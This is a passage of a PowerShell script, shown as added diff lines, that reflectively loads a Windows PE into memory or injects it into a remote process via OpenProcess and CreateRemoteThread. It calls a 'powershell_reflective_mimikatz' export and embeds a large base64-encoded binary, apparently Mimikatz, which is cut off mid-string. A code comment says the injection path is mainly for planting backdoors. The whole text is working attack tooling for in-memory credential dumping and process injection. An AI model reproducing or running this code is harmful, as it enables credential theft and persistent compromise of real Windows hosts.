$Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + + try + { + $Processors = Get-WmiObject -Class Win32_Processor + } + catch + { + throw ($_.Exception) + } + + if ($Processors -is [array]) + { + $Processor = $Processors[0] + } else { + $Processor = $Processors + } + + if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) ) + { + Write-Verbose ( "Architecture: " + $Processor.AddressWidth + " Process: " + ([System.IntPtr]::Size * 8)) + Write-Error "PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS." -ErrorAction Stop + } + + #Determine whether or not to use 32bit or 64bit bytes + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) + } + else + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) + } + $PEBytes[0] = 0 + $PEBytes[1] = 0 + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "powershell_reflective_mimikatz" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + $WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs) + [IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput) + if ($OutputPtr -eq [IntPtr]::Zero) + { + Throw "Unable to get output, Output Ptr is NULL" + } + else + { + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + $Win32Functions.LocalFree.Invoke($OutputPtr); + } + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main +} + +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + $ExeArgs = " $($Command)" + + [System.IO.Directory]::SetCurrentDirectory($pwd) + + $PEBytes64 = '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